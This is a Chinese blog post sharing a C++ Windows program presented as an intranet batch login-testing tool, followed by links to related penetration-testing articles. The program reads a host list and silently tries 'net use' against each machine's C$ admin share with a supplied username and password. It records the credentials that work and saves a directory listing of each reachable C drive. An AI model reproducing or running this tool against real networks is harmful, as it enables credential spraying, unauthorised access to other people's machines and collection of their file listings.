// Ipc.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#include <stdlib.h> struct ThreadParameter{ //结构体,传参
char Filename[MAX_PATH];
char szusername[MAX_PATH];
char szpassword[MAX_PATH];
}; bool LoginCompter(LPVOID pParam)
{
FILE* fp;
FILE* ffp;
char readbuffer[1024],savebuffer[120];
ThreadParameter *tp = (ThreadParameter *)pParam; //结构体传参
char cmd[MAX_PATH]; //保存CMD命令
char delcmd[MAX_PATH]; //删除共享字符串
char Buffer[4096]; //输出字符串
STARTUPINFO sInfo,info;
PROCESS_INFORMATION pInfo;
SECURITY_ATTRIBUTES sa;
HANDLE hRead,hWrite;
DWORD bytesRead;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE; fp = fopen(tp->Filename,"rb"); //打开机器列表
if (fp == NULL)
{
printf("fopen error in %s.\r\n",tp->Filename);
return 0;
} ffp = fopen("suscess.txt","a+"); //打开保存结果文件
if (ffp == NULL)
{
printf("save fopen file error suscess.txt .\r\n");
fclose(ffp);
return -1;
}
memset(readbuffer,0,sizeof(readbuffer)); //清0
while (fgets(readbuffer,sizeof(readbuffer),fp))
{
if (!CreatePipe(&hRead,&hWrite,&sa,0)) //创建匿名管道
{
printf("CreatePipe failed (%d)!\n", GetLastError());
return false;
} GetStartupInfo(&sInfo);
sInfo.cb = sizeof(sInfo);
sInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
sInfo.wShowWindow = SW_HIDE;
sInfo.hStdError = hWrite; //将管道的写端交给子进程
sInfo.hStdOutput = hWrite;
memset(&pInfo, 0, sizeof(pInfo)); if (readbuffer[strlen(readbuffer)-1] == '\n')
{
readbuffer[strlen(readbuffer) -2] = '\0';
} memset(cmd,0,sizeof(cmd));
memset(delcmd,0,sizeof(delcmd));
sprintf(cmd,"cmd.exe /c net use %s\\c$ %s /u:%s",readbuffer,tp->szpassword,tp->szusername);
if(!CreateProcessA(NULL, cmd , NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo)) //创建子进程
{
printf("CreateProcess failed (%d)!\n", GetLastError());
CloseHandle(hWrite);
CloseHandle(hRead);
return false;
}
CloseHandle(hWrite); //关闭父进程的写端 while (1)
{
memset(Buffer,0,sizeof(Buffer));
memset(savebuffer,0,sizeof(savebuffer));
ReadFile(hRead,Buffer,sizeof(Buffer),&bytesRead,NULL);
if (bytesRead <= 2)
{
break;
} if (strstr(Buffer,"successfully"))
{
char szdirPath[1024] = {0}; //临时保存
memset(szdirPath,0,sizeof(szdirPath));
sprintf(savebuffer,"Host:%s Username:%s Passwords:%s suscess \n",readbuffer,tp->szusername,tp->szpassword); //输出
fwrite(savebuffer,strlen(savebuffer),1,ffp);
sprintf(szdirPath,"dir %s\\c$ >> savePath.txt",readbuffer); //保存DIR目录
system(szdirPath);
sprintf(delcmd,"cmd.exe /c net use %s\\c$ /del",readbuffer); //删除共享
system(delcmd);
}
}
}
fclose(fp);
fclose(ffp);
WaitForSingleObject(pInfo.hProcess, INFINITE); //等待线程退出
CloseHandle(hRead); //关闭句柄
return true;
} int main(int argc,char* argv[])
{
ThreadParameter tp; //初始化结构体
HANDLE threadhandle;
if (argc < 4)
{
printf("[-]:%s Compute_list Username Password\r\n",argv[0]);
return -1;
}
strcpy(tp.Filename,argv[1]); //传参
strcpy(tp.szusername,argv[2]); //传参
strcpy(tp.szpassword,argv[3]); //传参 threadhandle = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)LoginCompter,&tp,0,0); //创建线程
if (threadhandle == INVALID_HANDLE_VALUE) //线程如果出现错误
{
printf("Create Thread error :%d \r\n",GetLastError()); //退出
return -1;
}
WaitForSingleObject(threadhandle,INFINITE); //等待线程完成后,关闭句柄
CloseHandle(threadhandle);
return 0;
}

  

代码 写的很弱,但是能用。如果你对这个代码抱有强烈的批评心或者甚至是恶心的地步。还请指出来,虚心接受批评。

内网批量测试登录机器工具,并且dir 目标机器c盘的更多相关文章

  1. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  2. [原创]Ladon5.7大型内网渗透综合漏洞扫描器

    Ladon LadonGUI Cobalt Strike PowerLadon PythonLadon LinuxLadon 使用说明 ID 主题 URL 1 Ladon文档主页 https://gi ...

  3. 傻瓜式教学--win10 + frp + rdpwrap + 阿里云服务器 --实现win10 多用户同时远程登录内网机

    概述: 使用win10 专业版 + frp + RDPwrap + 阿里云服务器 的组合实现win10 多用户同时远程登录内网机.使用frp 做内网穿透,将内网机的指定端口暴露在外网,通过ip+por ...

  4. 使用Holer远程桌面登录家里电脑和公司内网电脑

    1. Holer工具简介 Holer exposes local servers behind NATs and firewalls to the public internet over secur ...

  5. IDC 内网机器 通 过 iptables SNAT上网的配置方法

    有三台机器, A .B .C,其中A机器有外网和内网IP,B和C只有内网,我们配置B和C二台机器通过A机器来上外网. 假设A机器 外网IP为: 60.12.13.14  内网IP为: 192.168. ...

  6. 通过SOCKS代理渗透整个内网

    https://blog.csdn.net/SouthWind0/article/details/83111044 通过SOCKS代理渗透整个内网 1.背景 经过前期的渗透工作,我们现在已经成功找到了 ...

  7. hw从外网到内网的渗透姿势分享

    现在这段时间是全员 hw 时期,刚好前几天也有幸参与了某个地方的 hw 行动,作为攻击方,这里就简单总结一下最近挖洞的思路吧.因为可能怕涉及到敏感的东西,这里就有的地方不会细说了. 因为本人比较菜,所 ...

  8. 3.内网渗透之reGeorg+Proxifier

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxIAAAE2CAIAAAB6BDOVAAAgAElEQVR4Aey9Z5Aex3X327MRGVzkRH ...

  9. kubernetes 内网节点部署笔记(一)

    在Centos7上部署kubernetes时,碰到很多坑,特别在摸拟在内网部署时,有来自GFW的障碍,有来自Firewalld的阻塞,反正是各种不服,终于慢慢理顺了思路,自己记录一下,防止遗忘. 环境 ...

随机推荐

  1. ZOJ1119(SPF)

    题目链接:传送门 题目大意:一副无向图,问有多少个节点满足删除该节点后图不连通,对于每个满足条件的节点,输出节点编号及删除节点将图分为几个连通块.若没有节点满足则输出No SPF nodes 题目思路 ...

  2. EasyNVR智能云终端硬件使用说明(EasyNVR无插件直播服务硬件的具体使用方法)

    问题背景 随着EasyNVR硬件版本(EasyNVR硬件云终端)的发布不少客户选择了EasyNVR云终端作为产品选择,在客户收到EasyNVR云终端的时候肯定都有一个疑问,那就是如何使用手头上的这个小 ...

  3. windows下在Eclipse中启动的tomcat没有乱码,单独部署到tomcat下乱码解决方案

    今天遇到了一个很奇怪的问题,在Eclipse中调试,运行项目一切正常,项目的所有编码都是统一的UTF-8.但是在单独部署到tomcat上的时候出现了中文乱码. 解决方案 第一步:确保项目,jsp页面, ...

  4. 【转】Gacutil.exe(全局程序集缓存工具)

    全局程序集缓存工具使您可以查看和操作全局程序集缓存和下载缓存的内容. 安装 Visual Studio 和 Windows SDK 时会自动安装此工具. 要运行工具,我们建议您使用 Visual St ...

  5. Constructor Acquires, Destructor Releases Resource Acquisition Is Initialization

    w https://zh.wikipedia.org/wiki/RAII RAII要求,资源的有效期与持有资源的对象的生命期严格绑定,即由对象的构造函数完成资源的分配(获取),同时由析构函数完成资源的 ...

  6. flask信号

    骚师博客:信号 信号你就可以这么理解,请求比喻成赛车,请求走的流程就是赛车道,而信号坐落在赛车道上的加油站和维修站,信号注册的函数好比维修站的人,每经过维修站并且维修站里有人就进行维修 信号这里理解: ...

  7. Python3.6全栈开发实例[014]

    14.好声音选秀大赛评委在打分的时,可以进行输入. 假设,有10个评委.让10个评委进行打分, 要求, 分数必须大于5分, 小于10分. count = 1 while count <= 10: ...

  8. python基础:while循环,for循环

    ---恢复内容开始--- 1.使用while循环输出1 2 3 4 5 6     8 9 10 2.求1-100的所有数的和 3.输出 1-100 内的所有奇数 4.输出 1-100 内的所有偶数 ...

  9. android密码显示和隐藏

    if (showPwd){ //设置EditText文本为可见的 password.setTransformationMethod(HideReturnsTransformationMethod.ge ...

  10. Vue-router2.0学习笔记(转)

    转:https://segmentfault.com/a/1190000007825106 Vue.js的一大特色就是构建单页面应用十分方便,既然要方便构建单页面应用那么自然少不了路由,vue-rou ...